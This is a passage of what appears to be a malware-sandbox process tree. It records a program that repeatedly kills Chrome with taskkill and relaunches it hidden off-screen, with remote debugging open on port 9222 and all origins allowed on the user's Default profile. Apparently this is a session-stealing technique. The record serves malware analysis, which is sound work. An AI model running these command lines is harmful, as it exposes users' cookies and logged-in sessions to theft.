        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2904,i,13812689209244436388,14007524341686130172,2097152 --field-trial-handle=2448,i,14132736443492836780,17396494218083541125,262144 --variations-seed-version --mojo-platform-channel-handle=2964 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:2372
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4144,i,12155054903761457885,5186529707732065753,524288 --field-trial-handle=2448,i,14132736443492836780,17396494218083541125,262144 --variations-seed-version --mojo-platform-channel-handle=4160 /prefetch:14
        5⤵
        
        PID:5832
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4228,i,2629311769639782034,15656256049984075794,2097152 --field-trial-handle=2448,i,14132736443492836780,17396494218083541125,262144 --variations-seed-version --mojo-platform-channel-handle=4236 /prefetch:1
        5⤵
        
        PID:4720
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:2852
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
      4⤵
      Uses browser remote debugging
      PID:976
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffff8b4c728,0x7ffff8b4c734,0x7ffff8b4c740
        5⤵
        
        PID:5288
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:6260
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
      4⤵
      Uses browser remote debugging
      PID:2552
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0xe0,0x130,0x7ffff8b4c728,0x7ffff8b4c734,0x7ffff8b4c740
        5⤵
        
        PID:2384
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1600,i,88858467797425668,6929906708433860396,262144 --field-trial-handle=1884,i,15519866509214549158,12325348326625544223,262144 --variations-seed-version --mojo-platform-channel-handle=1880 /prefetch:2
        5⤵
        
        PID:5724
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=1452,i,17012648457178440239,8522323756583653362,524288 --field-trial-handle=1884,i,15519866509214549158,12325348326625544223,262144 --variations-seed-version --mojo-platform-channel-handle=1292 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:5924
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=2084,i,6916449302775040293,4725491271541596204,524288 --field-trial-handle=1884,i,15519866509214549158,12325348326625544223,262144 --variations-seed-version --mojo-platform-channel-handle=2236 /prefetch:13
        5⤵
        
        PID:6160
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2880,i,3919215549171112183,12943096613862122128,2097152 --field-trial-handle=1884,i,15519866509214549158,12325348326625544223,262144 --variations-seed-version --mojo-platform-channel-handle=2888 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:3704
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2900,i,3890685191577003792,312708898081547248,2097152 --field-trial-handle=1884,i,15519866509214549158,12325348326625544223,262144 --variations-seed-version --mojo-platform-channel-handle=2896 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:4256
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4148,i,13467474149560042634,211163867028885996,524288 --field-trial-handle=1884,i,15519866509214549158,12325348326625544223,262144 --variations-seed-version --mojo-platform-channel-handle=4160 /prefetch:14
        5⤵
        
        PID:2392
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4172,i,11737693103531262019,5949965651268122523,2097152 --field-trial-handle=1884,i,15519866509214549158,12325348326625544223,262144 --variations-seed-version --mojo-platform-channel-handle=4204 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:6744
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:2596
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
      4⤵
      Uses browser remote debugging
      PID:4628
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffff8b4c728,0x7ffff8b4c734,0x7ffff8b4c740
        5⤵
        
        PID:4844
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:4620
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
      4⤵
      Uses browser remote debugging
      PID:4860
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0xec,0x130,0x7ffff8b4c728,0x7ffff8b4c734,0x7ffff8b4c740
        5⤵
        
        PID:4084
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1664,i,4498945849699365983,11211798260359393331,262144 --field-trial-handle=1996,i,12970505541688832998,4352534969592125803,262144 --variations-seed-version --mojo-platform-channel-handle=1984 /prefetch:2
        5⤵
        
        PID:2388
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1880,i,4604419644568209466,5257851090577054083,524288 --field-trial-handle=1996,i,12970505541688832998,4352534969592125803,262144 --variations-seed-version --mojo-platform-channel-handle=1988 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:6200
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=2116,i,15644518886353486304,7576631010393260172,524288 --field-trial-handle=1996,i,12970505541688832998,4352534969592125803,262144 --variations-seed-version --mojo-platform-channel-handle=2284 /prefetch:13
        5⤵
        
        PID:6688
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2920,i,9484227282036232962,2409755008900227890,2097152 --field-trial-handle=1996,i,12970505541688832998,4352534969592125803,262144 --variations-seed-version --mojo-platform-channel-handle=2968 /prefetch:1
        5⤵
        
        PID:5656
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2924,i,10999540431576656875,10217132860636797597,2097152 --field-trial-handle=1996,i,12970505541688832998,4352534969592125803,262144 --variations-seed-version --mojo-platform-channel-handle=2972 /prefetch:1
        5⤵
        
        PID:6880
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4124,i,4333769175135466986,15478967962794755676,524288 --field-trial-handle=1996,i,12970505541688832998,4352534969592125803,262144 --variations-seed-version --mojo-platform-channel-handle=4140 /prefetch:14
        5⤵
        
        PID:2364
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4220,i,16561993478164963409,2410952006199740703,2097152 --field-trial-handle=1996,i,12970505541688832998,4352534969592125803,262144 --variations-seed-version --mojo-platform-channel-handle=4132 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:5092
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:936
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
      4⤵
      Uses browser remote debugging
      PID:6824
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0xc4,0x130,0x7ffff8b4c728,0x7ffff8b4c734,0x7ffff8b4c740
        5⤵
        
        PID:4672
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:2216
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
      4⤵
      Uses browser remote debugging
      PID:1352
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffff8b4c728,0x7ffff8b4c734,0x7ffff8b4c740
        5⤵
        
        PID:1444
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1600,i,14555042128209688489,1651622655047584403,262144 --field-trial-handle=2320,i,13268381091421006634,12794288600104829294,262144 --variations-seed-version --mojo-platform-channel-handle=2312 /prefetch:2
        5⤵
        
        PID:2736
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1760,i,9253271008126543763,5623179931604369341,524288 --field-trial-handle=2320,i,13268381091421006634,12794288600104829294,262144 --variations-seed-version --mojo-platform-channel-handle=2348 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:3296
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1920,i,1404460227192872736,12695657075564746219,524288 --field-trial-handle=2320,i,13268381091421006634,12794288600104829294,262144 --variations-seed-version --mojo-platform-channel-handle=2364 /prefetch:13
        5⤵
        
        PID:2488
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2888,i,2282072389359476928,7708247139163677099,2097152 --field-trial-handle=2320,i,13268381091421006634,12794288600104829294,262144 --variations-seed-version --mojo-platform-channel-handle=2900 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:1940
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2904,i,7531657445712671576,10728939597382327342,2097152 --field-trial-handle=2320,i,13268381091421006634,12794288600104829294,262144 --variations-seed-version --mojo-platform-channel-handle=2916 /prefetch:1
        5⤵
        
        PID:3540
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4108,i,822795299870705411,14723546075709696907,524288 --field-trial-handle=2320,i,13268381091421006634,12794288600104829294,262144 --variations-seed-version --mojo-platform-channel-handle=4120 /prefetch:14
        5⤵
        
        PID:6568
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:6360
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
      4⤵
      PID:2744
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffff8b4c728,0x7ffff8b4c734,0x7ffff8b4c740
        5⤵
        
        PID:4916
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:5636
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
      4⤵
      PID:5792
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffff8b4c728,0x7ffff8b4c734,0x7ffff8b4c740
        5⤵
        
        PID:7032
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:1324
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
      4⤵
      Uses browser remote debugging
      PID:1284
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffff67bc728,0x7ffff67bc734,0x7ffff67bc740
        5⤵
        
        PID:6232
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1596,i,425688539620827311,17326813863774351177,262144 --field-trial-handle=2292,i,10281414271240145382,10589529711166836743,262144 --variations-seed-version --mojo-platform-channel-handle=2396 /prefetch:2
        5⤵
        
        PID:4768
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1680,i,13804749070043008683,7757653802576304620,524288 --field-trial-handle=2292,i,10281414271240145382,10589529711166836743,262144 --variations-seed-version --mojo-platform-channel-handle=2192 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:2780
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1980,i,9090676309047845745,10461836056491613152,524288 --field-trial-handle=2292,i,10281414271240145382,10589529711166836743,262144 --variations-seed-version --mojo-platform-channel-handle=2392 /prefetch:13
        5⤵
        
        PID:252
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2872,i,5885088942080580415,5746475112606346583,2097152 --field-trial-handle=2292,i,10281414271240145382,10589529711166836743,262144 --variations-seed-version --mojo-platform-channel-handle=2884 /prefetch:1
        5⤵
        
        PID:6800
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2892,i,7905803135577494063,11812488786340741169,2097152 --field-trial-handle=2292,i,10281414271240145382,10589529711166836743,262144 --variations-seed-version --mojo-platform-channel-handle=2928 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:4672
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4108,i,17988892822787432018,16000928997025792328,524288 --field-trial-handle=2292,i,10281414271240145382,10589529711166836743,262144 --variations-seed-version --mojo-platform-channel-handle=4120 /prefetch:14
        5⤵
        
        PID:3596
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4204,i,11263917071159166149,7176607491371505290,2097152 --field-trial-handle=2292,i,10281414271240145382,10589529711166836743,262144 --variations-seed-version --mojo-platform-channel-handle=4208 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:2532
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:2004
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
      4⤵
      Uses browser remote debugging
      PID:5088
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffff67bc728,0x7ffff67bc734,0x7ffff67bc740
        5⤵
        
        PID:5016
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      PID:1668
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
      4⤵
      Uses browser remote debugging
      PID:5408
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
